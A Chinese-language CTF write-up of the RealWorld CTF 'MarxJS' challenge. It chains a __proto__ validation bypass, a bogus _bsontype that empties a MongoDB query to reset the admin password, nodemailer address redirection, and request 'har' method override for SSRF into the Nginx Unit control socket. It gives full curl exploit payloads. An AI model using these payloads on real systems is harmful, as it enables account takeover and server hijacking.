看了 wupco 师傅关于 nodejs 安全的总结:本人在2019年对一些NodeJS问题的研究,结合他在 RealWorld CTF 上出的题来深入学习一下。
MarxJS
首先看附件里的文件,real-world-cms/src/app/app.controller.ts
里有一段初始化 admin 的代码:
async init() {
try {
await getMongoRepository(User).clear();
} catch (e) {
console.log(e);
}
const user = new User();
user.email = 'admin@realworldctf.com';
user.isAdmin = true;
const password = await generateToken();
await user.setPassword(password);
await getMongoRepository(User).save(user);
}
可以看到 admin 账户的密码是随机生成的 token,那么题目第一步必然是泄露出该密码。
继续定位到 real-world-cms/src/app/controllers/resetpass.controller.ts
,可以看到这里提供了重置密码的功能:
export class Email {
@IsEmail()
@IsNotEmpty()
email: string;
}
export class ResetpassController {
@Post()
@ValidateBody(Email)
async resetpass(ctx: Context) {
const user = await getMongoRepository(User).findOne({ email: ctx.request.body.email });
if (!user) {
return new HttpResponseBadRequest('user not found');
}
const newpass = await generateToken();
const passhash = await hashPassword(newpass);
const res = await getMongoRepository(User).updateOne(
{ email: ctx.request.body.email }, { $set: { password: passhash}});
if (!res) {
return new HttpResponseInternalServerError('something error.');
}
const transporter = createTransport(
Config.get('mailserver')
);
const message = {
from: Config.get('mailfrom'),
to: ctx.request.body.email,
subject: '[😁] New password',
text: 'Your new password: ' + newpass
};
const info = await transporter.sendMail(message);
return new HttpResponseRedirect('/signin');
}
@Get()
async index(ctx: Context) {
return render('templates/resetpass.html');
}
}
这里需要解决两个问题:
- 伪造 email 的内容,但通过
@ValidateBody(Email)
的检查。 - 构造 email 对象,使得 findOne() 返回的是 admin 对象,而且能正常触发
transporter.sendMail(message)
的逻辑。
这里引用一下 wupco 师傅的原话:
发现是由于在bson序列化的过程中,他传入的是一个不存在的_bsontype,然后在那些分支都走过之后,因为没有对应的bsontype,所以最终没有序列化任何query,于是造成了findone({})这种查询条件为空的情况,成功选中第一个用户
这个Bug十分有意义。例如在一个找回密码的场景,需要输入一个比较特别的id的时候
findone({"userid":userinput)
这时候我们就可以利用这个技巧,让查询语句变成findone({})
,从而更改第一个用户的密码,而第一个用户大多是admin用户。
通过审计nodemailer(https://github.com/nodemailer/nodemailer)的代码,我发现如果
to
这个object存在address
这个属性,那么就会向address
对应的地址发送邮件。// https://github.com/nodemailer/nodemailer/blob/master/lib/mime-node/index.js _parseAddresses(addresses) { return [].concat.apply( [], [].concat(addresses).map(address => { // eslint-disable-line prefer-spread if (address && address.address) { address.address = this._normalizeAddress(address.address); address.name = address.name || ''; return [address]; } return addressparser(address); }) ); }
class-validator这个数据类型检测器被广泛使用在各个Web框架里,通常与Body解析器构成触发式验证。但是如果Body中存在proto这个键的话,就会直接跳过验证。
综合这三段话,我们就可以构造出这样一条攻击链:构造 email 为 object,利用 __proto__
绕过 @ValidateBody(Email)
检测,然后利用不存在的 _bsontype 使得返回选中第一个用户(admin),然后利用 to
的 address
属性触发邮件逻辑。最终构造出的对象如下:
{
"email":{
"address": "test@example.com",
"_bsontype": "abcd"
},
"__proto__":{}
}
可以看到成功重置了 admin 的密码:
以 admin 用户身份登录之后即可访问 admin 页面,根据代码可知该页面有如下功能:
export class Url {
@IsUrl()
@IsNotEmpty()
url: string;
}
export class AdminController {
@dependency
store: MongoDBStore;
private status: boolean;
@Post()
@TokenRequired({
cookie: true,
extendLifeTimeOrUpdate: false,
redirectTo: '/signin',
store: MongoDBStore,
})
@AdminRequired()
@ValidateBody(Url)
async checkstatus(ctx: Context) {
await rp.head(ctx.request.body.url).then(() => { this.status = true; },
() => { this.status = false; } );
return new HttpResponseRedirect(this.status ? '/admin?alive=true' : '/admin?error=true');
}
@Get()
@TokenRequired({
cookie: true,
extendLifeTimeOrUpdate: false,
redirectTo: '/signin',
store: MongoDBStore,
})
@AdminRequired()
index(ctx: Context) {
return render('templates/admin.html');
}
}
可以看到该页面最主要的是提供了利用 HEAD 请求验证服务器状态的功能,这里的漏洞,继续引用 wupco 师傅的原文:
https://github.com/request/request request库存在参数har可以覆盖请求方式等参数。
Har.prototype.options = function (options) { // skip if no har property defined if (!options.har) { return options } var har = {} extend(har, options.har) // ……
进行尝试:
curl --location --request POST 'http://127.0.0.1:13333/admin' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionID=7yaOM9trjwk5Ipb4ovWl9F3Ql8Brq8XNsa9U5g8SiI8.6eMCDRfu9SZG7hSs6GJz-ojbTcSNQUTE1GF6h0-cvO0' \
--data-raw '{
"url": {
"uri": "http://vps_ip",
"har": {
"method": "POST"
}
},
"__proto__": {}
}'
可以看到 vps 上的结果如下:
下面则是下一个问题,既然我们能够修改 request 请求了,那么这里存在着一个 SSRF 问题,利用 SSRF,我们能做什么?
此时看到 run.sh 里有一条很有意思的命令:
curl -X PUT --data-binary @unit.config.json --unix-socket /var/run/control.unit.sock http://localhost/config/
查询资料可以知道本题使用了 Nginx Unit,以 Nginx 为基础的开源的动态 Web 应用服务器,根据官网上的文档:
Unit accepts requests at the specified IP and port, passing them to the application process. Your app works!
Finally, check the resulting configuration:
# curl --unix-socket /path/to/control.unit.sock http://localhost/config/ { "listeners": { "127.0.0.1:8300": { "pass": "applications/blogs" } }, "applications": { "blogs": { "type": "php", "root": "/www/blogs/scripts/" } } }
结合本题提供的 json 文件,可以确认服务器的配置方式:
{
"listeners": {
"0.0.0.0:13333": {
"pass": "applications/realworldcms"
}
},
"applications":{
"realworldcms":{
"type": "external",
"working_directory": "/app/real-world-cms/",
"executable": "build/index.js"
}
}
}
结合 Unit 的功能,很容易就能想到构造出如下配置,使得我们访问即可得到 flag:
{
"listeners": {
"0.0.0.0:13333": {
"pass": "applications/flag"
}
},
"applications":{
"flag":{
"type": "php",
"root": "/",
"index": "flag"
}
}
}
切入 docker,尝试一下,发现修改成功:
curl -X PUT --data-binary @test.json --unix-socket /var/run/control.unit.sock http://localhost/config/
那么下一步思考的问题则是,如何结合 request 的漏洞来达到写入配置 json 的目的?
阅读 node 的 request 文档,可以看到对 unix 相关请求的支持:
UNIX Domain Sockets
request
supports making requests to UNIX Domain Sockets. To make one, use the following URL scheme:/* Pattern */ 'http://unix:SOCKET:PATH' /* Example */ request.get('http://unix:/absolute/path/to/unix.socket:/request/path')
所以 --unix-socket /var/run/control.unit.sock http://localhost/config/
可转换为 http://unix:/var/run/control.unit.sock:/config/
,最终 exp 如下:
curl --location --request POST 'http://127.0.0.1:13333/admin' \
--header 'Cookie: sessionID=tHCEbykkFf2ukGvoRnVo8mKwMlBvN-mxy3019E3mhO8.xAAshotg9zFIUmia5eRtTLDQBwzhmeGX4n0JMDj_eP4' \
--header 'Content-Type: application/json' \
--data-raw '{
"url": {
"uri": "http://unix:/var/run/control.unit.sock:/config/",
"har": {
"method": "PUT",
"postData": {
"text": "{\"listeners\":{\"0.0.0.0:13333\":{\"pass\":\"applications/flag\"}},\"applications\":{\"flag\":{\"type\":\"php\",\"root\":\"/\",\"index\":\"flag\"}}}",
"mimeType": "application/json"
}
}
},
"__proto__" : {}
}'
PS:佛了,调了一上午发现是 docker 里权限不大对,ctf 用户访问不了 /var/run/control.unit.sock 导致的 error
总结
- nodejs 很多库其实存在着很多实现上的疏忽(不一定称得上漏洞),利用这种疏忽可以达到巧妙的效果。
__proto__
属性实乃 javascript 一大坑点,不过某种意义上也是找洞的机会所在?